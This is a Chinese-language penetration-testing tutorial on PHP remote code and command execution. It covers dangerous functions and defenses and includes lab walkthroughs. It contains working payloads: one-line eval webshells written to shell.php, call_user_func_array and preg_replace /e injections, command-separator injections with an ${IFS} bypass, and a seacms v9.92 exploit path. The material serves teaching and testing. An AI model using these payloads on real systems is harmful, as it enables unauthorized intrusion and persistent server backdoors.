1. 程式人生 > 其它 >滲透測試-17:CRE 漏洞

滲透測試-17:CRE 漏洞

RCE

  • RCE(Remot Command/Code Execute),遠端命令/程式碼執行
  • 遠端命令執行:使用者可以控制系統命令執行函式的引數,也稱命令注入
  • 遠端程式碼執行:使用者輸入的引數可以作為程式碼執行,也稱程式碼注入
  • 命令執行可以看作是一種特殊的程式碼執行,程式碼執行相對會更加靈活
  • 應用有時候會考慮程式碼的簡潔性、靈活性,會在程式碼中呼叫 eval 之類的函式
  • 程式碼執行(注入)漏洞:在 web 方面是指應用程式過濾不嚴,使用者可以通過請求將程式碼注入到應用中由伺服器執行,導致一系列不可控的後果
PHP:eval assert
Python:exec
ASP:<%=CreateObject(“wscript.shell”).exec(“cmd.exe /c ipconfig”).StdOut.ReadAll()%>
Java:沒有類似函式,但採用的反射機制和各種基於反射機制的表示式引擎(OGNL、SpEL、MVEL等)有類似功能

遠端程式碼執行

漏洞危害

  • 獲取當前檔案的絕對路徑
print __FILE__
  • 讀取伺服器檔案
file_get_contents('C:\Windows\System32\drivers\etc\hosts')
  • 在伺服器寫入一句話木馬
file_put_contents("xxx.php", '<?php @eval($_POST["cmd"]?>', FILE_APPEND | LOCK_EX);
fwrite(fopen("xxx.php","a+"), '<?php @eval($_POST["cmd"]?>');
fputs(fopen("xxx.php","a+"), '<?php @eval($_POST["cmd"]?>');
  • 執行 PHP 程式碼,獲取伺服器內容或相關資訊
echo eval("system(dir);")

$data = $_GET["data"];
eval("\$ret = strtolower(\"$data\");");
echo $ret;

post:
?data=");phpinfo();//
?data=${phpinfo()}
  • 控制伺服器,利用 Shell 指令碼,上傳大馬,甚至控制伺服器

防禦方式

  • 儘量不要使用 eval assert 等危險函式
  • 如果使用危險函式的話,一定要對輸入內容進行嚴格的過濾
  • preg_replace 不使用 /e 修飾符
  • php.ini
    檔案中禁用危險函式 disable_functions

漏洞查詢方法

  • 程式碼審計:最主要的方式,藉助程式碼審計工具,非常方便的審計出此類漏洞

  • 已知的 CMS 漏洞:已知的 CMS,有很多每年都會爆出來很多此類的漏洞

  • 頁面傳參查詢:針對頁面有傳參的地方,重點關注傳入惡意程式碼嘗試,概率相對較小

程式碼執行相關函式

// 執行程式碼的函式
eval()
- 將字串當作 PHP 程式碼執行
- 裡面引數的值 需要 ; 結尾

assert()
- 將字串當作 PHP 程式碼執行
- 裡面引數 不需要 ; 結尾

// 回撥函式
// preg_replace(pattern,replacement,subject)
- 執行一個正則表示式的搜尋和替換
- 當第一個引數中存在e修飾符時,第二個引數的值會被當成PHP程式碼來執行
- 注意:該函式在 5.5 之後版本被棄用,7.0 之後不支援

preg_replace("/<data>(.*?)<\/data>/e", 'system("id")', '<data>phpinfo()</data>');
preg_replace("/<data>(.*?)<\/data>/e", '$ret=strtolower(\\1)', '<data>phpinfo()</data>');
preg_replace("/<data>(.*?)<\/data>/e", '$ret="\\1"', '<data>${phpinfo()}</data>');

// call_user_func(callable $callback, mixed $parameter = ?, mixed $... = ?): mixed
$fun = $_GET['fun'];
$para = $_GET['para'];
call_user_func($fun,$para);

// call_user_func_array(callable $callback, array $param_arr): mixed
post => ?fun=call_user_func_array&vars[0]=system&vars[1][]=echo '<?php eval($_POST["cmd"]);?>' > shell.php
post => ?fun=call_user_func_array&vars[0]=system&vars[1][]=test.php&vars[1][]=<?php eval($_POST["cmd"];?>

// 動態函式
$fun = $_GET['fun'];
$para = $_GET['para'];
$fun($para);

反序列化:unserialize()

遠端命令執行

  • 應用程式中有時會呼叫一些系統命令函式,比如 php 中使用 system、exec、shell_exec 等函式可以執行系統命令,當攻擊者可以控制這些函式中的引數時,就可以將惡意命令拼接到正常命令中,從而造成命令執行攻擊
  • 命令執行漏洞,屬於高危漏洞之一,也可以算是一種特殊的程式碼執行

產生原因

  1. 使用者可以控制輸入的內容
  2. 使用者輸入的內容被當作命令執行

例:日常的網路訪問中,我們常常可以看到某些Web網站具有執行系統命令的功能,比如:有些網站提供 ping 功能,我們可以輸入一個 IP 地址,它就會幫我們去嘗試 ping 目標的 IP 地址,而我們則可以看到執行結果

防禦方式

  • 儘量不要使用命令執行函式
  • 客戶端提交的變數在進入執行命令函式方法之前,一定要做好過濾,對敏感字元進行轉義
  • 在使用動態函式之前,確保使用的函式是指定的函式之一
  • 對 PHP 語言來說,不能完全控制的危險函式最好不要使用

執行多條語句(windows)

命令格式 函式
command1 & command2 前面和後面命令都要執行,無論前面真假
command1 && command2 如果前面為假,後面的命令也不執行,如果前面為真則執行兩條命令
command1 || command2 如果前面命令是錯的那麼就執行後面的語句,否則只執行前面的語句
command1 | command2 直接執行後面的語句

執行多條語句(linux)

命令格式 函式
command1 ; command2 前面和後面命令都要執行,無論前面真假
command1 & command2 前面和後面命令都要執行,無論前面真假
command1 && command2 如果前面為假,後面的命令也不執行,如果前面為真則執行兩條命令
command1 || command2 如果前面命令是錯的那麼就執行後面的語句,否則只執行前面的語句
command1 | command2 直接執行後面的語句

命令執行相關函式

// 執行外部程式,並且顯示輸出
system(string $command, int &$return_var = ?): string
system('whoami')

// 將反引號(``)中的內容作為 shell 命令來執行,並將其輸出資訊返回,效果與函式 shell_exec() 相同
echo `whoami`;

// shell_exec():通過 shell 環境執行命令,並且將完整的輸出以字串的方式返回
shell_exec('id');

// 執行 command 引數所指定的命令
exec(string $command, array &$output = ?, int &$return_var = ?): string
exec('whoami', $output);
print_r($output);

// 執行外部程式並且顯示原始輸出
passthru(string $command, int &$return_var = ?): void
passthru('whoami')

// 開啟一個指向程序的管道,該程序由派生給定的 command 命令執行而產生
popen(string $command, string $mode): resource

// 執行一個命令,並且開啟用來輸入/輸出的檔案指標,類似 popen() 函式,但是 proc_open() 提供了更加強大的控制程式執行的能力
proc_open(
    mixed $cmd,
    array $descriptorspec,
    array &$pipes,
    string $cwd = null,
    array $env = null,
    array $other_options = null
): resource

// 以給定引數執行程式
pcntl_exec(string $path, array $args = ?, array $envs = ?): void

靶場練習

程式碼執行

基本方式

phpinfo();
file_put_contents("shell.php","<?php @eval(\$_POST['cmd']);?>")

seacms-v9.92 漏洞

/comment/api/index.php?gid=1&page=2&rlist[]=*hex/@eval($_GET[a]);?>
/data/mysqli_error_trace.php?a=phpinfo();

命令執行

基本繞過

1.檢視目錄下的檔案
ls						// 無回顯
|ls

2.讀取key.php
|cat key.php			// 報錯
|cat${IFS}key.ph?

3.在原始碼中找到key

基本方式

127.0.0.1 & echo "<?php @eval($_POST['cmd']);?>" > shell.php
// 或
| echo "<?php @eval(\$_POST['cmd']);?>" > shell.php

| cat shell.php